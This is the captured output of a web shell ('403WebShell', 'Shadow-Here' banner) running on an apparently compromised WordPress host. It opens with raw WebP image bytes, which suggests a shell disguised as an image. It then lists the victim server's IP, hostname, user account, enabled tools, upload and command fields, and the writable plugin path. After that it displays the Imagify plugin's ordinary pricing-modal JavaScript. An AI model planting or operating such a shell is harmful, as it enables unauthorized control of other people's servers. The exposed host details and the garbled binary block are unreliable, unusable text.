....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/www/wp-content/plugins/imagify/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/www/wp-content/plugins/imagify/assets/js/pricing-modal.js
// Imagify tabs ====================================================================================
(function ($, d, w, undefined) { // eslint-disable-line no-unused-vars, no-shadow, no-shadow-restricted-names

	// Plan switcher.
	$('#imagify-toggle-plan').change(function() {
		var isChecked = $(this).is(':checked');
		$('.imagify-toggle-label').eq(0).css('color', isChecked ? '#c8ced5' : '#3b3f4a');
		$('.imagify-toggle-label').eq(1).css('color', isChecked ? '#3b3f4a' : '#c8ced5');
		$('.imagify-badge').toggleClass('imagify-badge-checked', isChecked);
		$('#imagify_all_plan_view').toggleClass('imagify-year-selected', isChecked).toggleClass('imagify-month-selected', ! isChecked);
		$('.imagify-arrow-container img').eq(0).toggle(! isChecked);
		$('.imagify-arrow-container img').eq(1).toggle(isChecked);
	});

})(jQuery, document, window);


// Imagify payment modal ===========================================================================
(function ($, d, w, undefined) { // eslint-disable-line no-unused-vars, no-shadow, no-shadow-restricted-names

	var imagifyModal = {};

	if (! $('#imagify-pricing-modal').length) {
		return;
	}

	imagifyModal = {
		$modal:       $('#imagify-pricing-modal'),
		// Plans selection view & payment process view hidden by default.
		$plansView:   $('#imagify-plans-selection-view'),
		$paymentView: $('#imagify-payment-process-view').hide(),
		$successView: $('#imagify-success-view').hide(),
		speedFadeIn:  300,

		getHtmlPrice: function (content, period) {
			var monthly, yearly, m, y, output;

			if (! period) {
				period = null;
			}

			if (typeof content !== 'object') {
				content += ''; // Be sure content is a string.
				content = content.split('.');
				content[1] = content[1].length === 1 ? content[1] + '0' : ('' + content[1]).substring(0, 2);

				output = '<span class="imagify-price-big">' + content[0] + '</span> ';
				output += '<span class="imagify-price-mini">.' + content[1] + '</span>';

				return output;
			}

			monthly = content.monthly + '';
			yearly = content.yearly + '';
			m = '0' === monthly ? ['0', '00'] : monthly.split('.');
			y = '0' === yearly ? ['0', '00'] : yearly.split('.');
			output = '<span class="imagify-switch-my">';
			/* eslint-disable indent */
			output += '<span aria-hidden="' + (period === 'monthly' ? 'false' : 'true') + '" class="imagify-monthly">';
			output += '<span class="imagify-price-big">' + m[0] + '</span> ';
			output += '<span class="imagify-price-mini">.' + (m[1].length === 1 ? m[1] + '0' : ('' + m[1]).substring(0, 2)) + '</span>';
			output += '</span> ';
			output += '<span aria-hidden="' + (period === 'yearly' ? 'false' : 'true') + '" class="imagify-yearly">';
			output += '<span class="imagify-price-big">' + y[0] + '</span> ';
			output += '<span class="imagify-price-mini">.' + (y[1].length === 1 ? y[1] + '0' : ('' + y[1]).substring(0, 2)) + '</span>';
			output += '</span>';
			/* eslint-enable indent */
			output += '</span>';

			return output;
		},

		getHtmlDiscountPrice: function (content, period) {
			var monthly, yearly,
				output = '';

			if (! period) {
				period = null;
			}

			if (typeof content === 'object') {
				monthly = content.monthly + '';
				yearly = content.yearly + '';

				output += '<span class="imagify-price-discount">';
				/* eslint-disable indent */
				output += '<span class="imagify-price-discount-dollar">$</span>';
				output += '<span class="imagify-switch-my">';
				output += '<span aria-hidden="' + (period === 'monthly' ? 'false' : 'true') + '" class="imagify-monthly">';
				output += '<span class="imagify-price-discount-number">' + monthly + '</span>';
				output += '</span>';
				output += '<span aria-hidden="' + (period === 'yearly' ? 'false' : 'true') + '" class="imagify-yearly">';
				output += '<span class="imagify-price-discount-number">' + yearly + '</span>';
				output += '</span>';
				output += '</span>';
				/* eslint-enable indent */
				output += '</span>';
			} else {
				content += ''; // Be sure content is a string.
				output += '<span class="imagify-price-discount">';
				/* eslint-disable indent */
				output += '<span class="imagify-price-discount-dollar">$</span>';
				output += '<span class="imagify-price-discount-number">' + content + '</span>';
				/* eslint-enable indent */
				output += '</span>';
			}

			return output;
		},

		/**
		 * @uses imagifyModal.getHtmlPrice()
		 * @uses imagifyModal.getHtmlDiscountPrice()
		 */
		populateOffer: function ($offer, datas, type, classes) {
			var promo = w.imagify_discount_datas,
				add = datas.additional_gb,   // 4 (monthly)
				ann = datas.annual_cost,     // 49.9 (monthly)
				id = datas.id,              // 3 (monthly/onetime)
				lab = datas.label,           // 'lite' (monthly/onetime)
				mon = datas.monthly_cost,    // 4.99 (monthly)
				quo = datas.quota,           // 1000 (MB) - 5000 images (monthly/onetime)
				cos = datas.cost,            // 3.49 (onetime)
				label = datas.label.replace(/_.*$/, ''),
				name = -1 === quo ? 'Unlimited' : (quo >= 1000 ? quo / 1000 + ' GB' : quo + ' MB'),
				pcs = 'monthly' === type ? {monthly: mon, yearly: Math.round(ann / 12 * 100) / 100} : cos,
				pcsd = pcs, // Used if discount is active.
				percent, $datas_c, datas_content, applies_to = [],
				offer_by = '',
				additional_data = '';

			applies_to = imagifyModal.getPromoAppliesTo(promo);


			// Change pricing value only if discount in percentage is active and if offer is a monthly and not a onetime.
			if (
				promo.is_active
				&& 'percentage' === promo.coupon_type
				&& 'monthly' === type
				&& (0 < mon)
				&& (applies_to.includes(lab) || 'all' === applies_to[0])
			) {
				percent = (100 - promo.coupon_value) / 100;
				pcs = 'monthly' === type ? {
					monthly: mon * percent,
					yearly:  Math.round((ann * percent) / 12 * 100) / 100
				} : cos * percent;
			}

			if (typeof classes !== 'undefined') {
				$offer.addClass('imagify-' + type + '-' + lab + classes);
				$offer.addClass('imagify-' + type + '-' + lab + classes);
			}

			// Label.
			$offer.find('.imagify-label-plans').text(label);

			// Name.
			$offer.find('.imagify-offer-size').text(name);

			// Main prices (pcs can be an object or a string).
			$offer.find('.imagify-number-block').html(imagifyModal.getHtmlPrice(pcs, 'monthly'));

			if ('Unlimited' === name) {
				offer_by = 'quota';
				$offer.addClass('imagify-best-value');
				additional_data = 'No additional cost';
			} else {
				offer_by = '/month';
				additional_data = '$' + add + ' per additional Gb';
			}

			$offer.find('.imagify-offer-by').text(offer_by);

			// discount prices
			$offer.find('.imagify-price-block').prev('.imagify-price-discount').remove();
			if (
				promo.is_active
				&& 'percentage' === promo.coupon_type
				&& 'monthly' === type
				&& (0 < mon)
				&& (applies_to.includes(lab) || 'all' === applies_to[0])
			) {
				$offer.find('.imagify-price-block').before(imagifyModal.getHtmlDiscountPrice(pcsd, 'monthly'));
			}
			// Nb images.
			$offer.find('.imagify-approx-nb').text(quo * 5);

			if ('monthly' === type) {
				// Additional price.
				$offer.find('.imagify-price-add-data').text(additional_data);
			}

			// Button data-offer attr.
			$datas_c = $offer.find('.imagify-payment-btn-select-plan').length ? $offer.find('.imagify-payment-btn-select-plan') : $offer;

			if ('monthly' === type) {
				datas_content = '{"' + lab + '":{"id":' + id + ',"name":"' + name + '","label":"' + lab + '","data":' + quo + ',"dataf":"' + name + '","imgs":' + (quo * 5) + ',"prices":{"monthly":' + pcs.monthly + ',"yearly":' + pcs.yearly + ',"add":' + add + '}}}';
			} else {
				datas_content = '{"ot' + lab + '":{"id":' + id + ',"name":"' + name + '","label":"' + lab + '","data":' + quo + ',"dataf":"' + name + '","imgs":' + (quo * 5) + ',"price":' + pcs + '}}';
			}

			$datas_c.attr('data-offer', datas_content);

			return $offer;
		},

		/**
		 * @uses imagifyModal.populateOffer()
		 */
		getPricing: function ($button) {
			var nonce = $button.data('nonce'),
				prices_rq_datas = {
					action:       'imagify_get_prices',
					imagifynonce: nonce
				},
				prices_rq_discount = {
					action:       'imagify_get_discount',
					imagifynonce: nonce
				};

			imagifyModal.$modal.find('.imagify-modal-loader').hide().show();
			imagifyModal.$modal.addClass('imagify-modal-loading');

			/**
			 * TODO: change the way to waterfall requests.
			 * Use setInterval + counter instead.
			 */

			// Get the true prices.
			$.post(ajaxurl, prices_rq_datas, function (prices_response) {

				if (! prices_response.success) {
					// TODO: replace modal content by any information.
					// An error occurred.

					return;
				}

				// Get the discount informations.
				$.post(ajaxurl, prices_rq_discount, function (discount_response) {
					var prices_datas, promo_datas,
						offers,
						mo_html = '',
						$mo_tpl,
						mo_clone,
						$estim_block, $offers_block,
						$banners, date_end, plan_names, promo, discount;

					if (! discount_response.success) {
						// TODO: replace modal content by any information.
						// An error occurred.
						return;
					}

					prices_datas = prices_response.data;
					promo_datas = discount_response.data;
					offers = {
						mo: []
					};
					$mo_tpl = $('#imagify-offer-monthly-template');
					mo_clone = $mo_tpl.html();
					$estim_block = $('.imagify-estimation-block');

					// Remove inactive offers.
					$.each(prices_datas.monthlies, function (index, value) {
						if ('undefined' === typeof value.active
							||
							('undefined' !== typeof value.active && true === value.active)
						) {
							if ('starter' === value.label) {
								return;
							}
							offers.mo.push(value);
						}
					});

					// Refresh Analyzing block.
					$estim_block.removeClass('imagify-analyzing');

					// Reset offer selection.
					$('.imagify-offer-selected').removeClass('imagify-offer-selected').find('.imagify-checkbox').prop('checked', false);

					// Don't create prices table if something went wrong during request.
					if (null === offers.mo) {
						$offers_block = $('.imagify-pre-checkout-offers');

						// Hide main content.
						$offers_block.hide().attr('aria-hidden', true);

						// Show error message.
						$offers_block.closest('.imagify-modal-views').find('.imagify-popin-message').remove();
						$offers_block.after('<div class="imagify-popin-message imagify-error"><p>' + imagifyPricingModal.labels.errorPriceAPI + '</p></div>');

						// Show the modal content.
						imagifyModal.$modal.find('.imagify-modal-loader').fadeOut(300);
						imagifyModal.$modal.removeClass('imagify-modal-loading');
						return;
					}

					// Autofill coupon code & Show banner if discount is active.
					w.imagify_discount_datas = promo_datas;

					if (promo_datas.is_active) {
						if (promo_datas.applies_to instanceof Array) {
							plan_names = [];
							var plan_list = [];

							for (var plan_infos = 0; plan_infos < promo_datas.applies_to.length; plan_infos++) {
								plan_list.push(promo_datas.applies_to[plan_infos].plan_name);
							}

							plan_list.forEach(function (item) {
								if (! plan_names.includes(item)) {
									plan_names.push(item);
								}
							});

							plan_names = plan_names.join(', ');
						} else {
							plan_names = promo_datas.applies_to;
						}

						$banners = $('.imagify-modal-promotion');
						date_end = promo_datas.date_end.split('T')[0];
						promo = promo_datas.coupon_value;
						discount = 'percentage' === promo_datas.coupon_type ? promo + '%' : '$' + promo;


						// Show banners.
						$banners.addClass('active').attr('aria-hidden', 'false');

						// Populate banners.
						$banners.find('.imagify-promotion-number').text(discount);
						$banners.find('.imagify-promotion-plan-name').text(plan_names);
						$banners.find('.imagify-promotion-date').text(date_end);

					}

					/**
					 * Below lines will build Plan and Onetime offers lists.
					 * It will also pre-select a Plan and/or Onetime in both of views: pre-checkout and pricing tables.
					 */
					if (0 === offers.mo.length) {
						$('.imagify-pre-checkout-offers .imagify-offer-monthly').remove();
						$('.imagify-tabs').remove();
						$('.imagify-pricing-tab-monthly').remove();
					} else {
						// Now, do the MONTHLIES Markup.
						$.each(offers.mo, function (index, value) {
							var $tpl,
								classes = '';

							// Populate each offer.
							$tpl = $(mo_clone).clone();
							$tpl = imagifyModal.populateOffer($tpl, value, 'monthly', classes);

							// Complete Monthlies HTML.
							mo_html += $tpl[0].outerHTML;
						});

						// Wait for element to be ready after ajax callback before adding ribbon.
						setTimeout(function() {
							// Add best value ribbon to unlimited plan.
							$('.imagify-best-value').prepend('<div class="imagify-ribbon"><span>Best Value!</span></div>');
						}, 100);
					}

					// Fill pricing tables.
					if ($mo_tpl.parent().find('.imagify-offer-line')) {
						$mo_tpl.parent().find('.imagify-offer-line').remove();
					}

					$mo_tpl.before(mo_html);


					// Show the content.
					imagifyModal.$modal.find('.imagify-modal-loader').fadeOut(300);
					imagifyModal.$modal.removeClass('imagify-modal-loading');

				}); // Third AJAX request to get discount information.

			}); // End $.post.
		},

		/**
		 * 1) Modal Payment change/select plan
		 * 2) Checkout selection(s)
		 * 3) Payment process
		 */

		getPeriod: function () {
			return $('#imagify_all_plan_view').hasClass('imagify-month-selected') ? 'monthly' : 'yearly';
		},

		switchToView: function ($view, data) {

			var viewId = $view.attr('id'),
				$modalContent = imagifyModal.$modal.children('.imagify-modal-content');

			$view.siblings('.imagify-modal-views').hide().attr('aria-hidden', 'true');

			// Plans view has tabs: display the right one.
			if (data && data.tab) {
				$view.find('a[href="#' + data.tab + '"]').trigger('click.imagify');
			}

			// Payment view: it's an iframe.
			if ('imagify-payment-process-view' === viewId) {
				$modalContent.addClass('imagify-iframe-viewing');
			} else {
				$modalContent.removeClass('imagify-iframe-viewing');
			}

			// Success view: some tweaks.
			if ('imagify-success-view' === viewId) {
				$modalContent.addClass('imagify-success-viewing');
				imagifyModal.$modal.attr('aria-labelledby', 'imagify-success-view');
			} else {
				$modalContent.removeClass('imagify-success-viewing');
				imagifyModal.$modal.removeAttr('aria-labelledby');
			}

			$view.fadeIn(imagifyModal.speedFadeIn).attr('aria-hidden', 'false');
		},

		iframeSetSrc: function (params) {
			/**
			 * params = {
			 *     'plan_id': 0,
			 *     'period': 'monthly'|'yearly'
			 * }
			 */

			var $iframe = $('#imagify-payment-iframe'),
				iframe_src = $iframe.attr('src'),
				pay_src = $iframe.data('src'),
				// Stop it ESLint, you're drunk.
				key, amount, // eslint-disable-line no-unused-vars
				rt_yearly, rt_monthly, $iframeClone, tofind;

			// If we only change monthly/yearly payment mode.
			if (typeof params === 'string' && '' !== iframe_src) {
				tofind = 'monthly' === params ? 'yearly' : 'monthly';
				iframe_src = iframe_src.replace(tofind, params);
				$iframe.attr('src', iframe_src);
				return;
			}

			// If we get new informations about products.
			if (typeof params !== 'object') {
				return;
			}

			if (! params.period) {
				w.imagify.info('No period defined');
				return;
			}

			rt_yearly = 'yearly' === params.period ? params.plan_id : 0;
			rt_monthly = 'monthly' === params.period ? params.plan_id : 0;

			// Compose route.
			// pay_src + /:monthlyplan(0)/:yearlyplan(0)/
			pay_src = pay_src + 0 + '/' + rt_monthly + '/' + rt_yearly + '/none/';

			console.log(pay_src);
			// iFrame sort of cache fix.
			$iframeClone = $iframe.remove().attr('src', pay_src);

			imagifyModal.$paymentView.html($iframeClone);
		},

		/**
		 * Public function triggered by payement iframe.
		 */
		paymentClose: function () {
			$('.imagify-iframe-viewing .close-btn').trigger('click.imagify');
			$('.imagify-iframe-viewing').removeClass('imagify-iframe-viewing');
		},

		/**
		 * @uses imagifyModal.switchToView()
		 */
		paymentBack: function () {
			imagifyModal.switchToView(imagifyModal.$plansView);
		},

		/**
		 * @uses imagifyModal.switchToView()
		 */
		paymentSuccess: function () {
			imagifyModal.switchToView(imagifyModal.$successView);
		},

		/**
		 * @uses imagifyModal.paymentClose()
		 * @uses imagifyModal.paymentBack()
		 * @uses imagifyModal.paymentSuccess()
		 */
		checkPluginMessage: function (e) {
			var origin = e.origin || e.originalEvent.origin; // eslint-disable-line no-shadow

			if ( imagifyPricingModal.imagify_app_domain !== origin ) {
				return;
			}

			switch (e.data) {
				case 'cancel':
					imagifyModal.paymentClose();
					break;
				case 'back':
					imagifyModal.paymentBack();
					break;
				case 'success':
					imagifyModal.paymentSuccess();
					break;
			}
		},
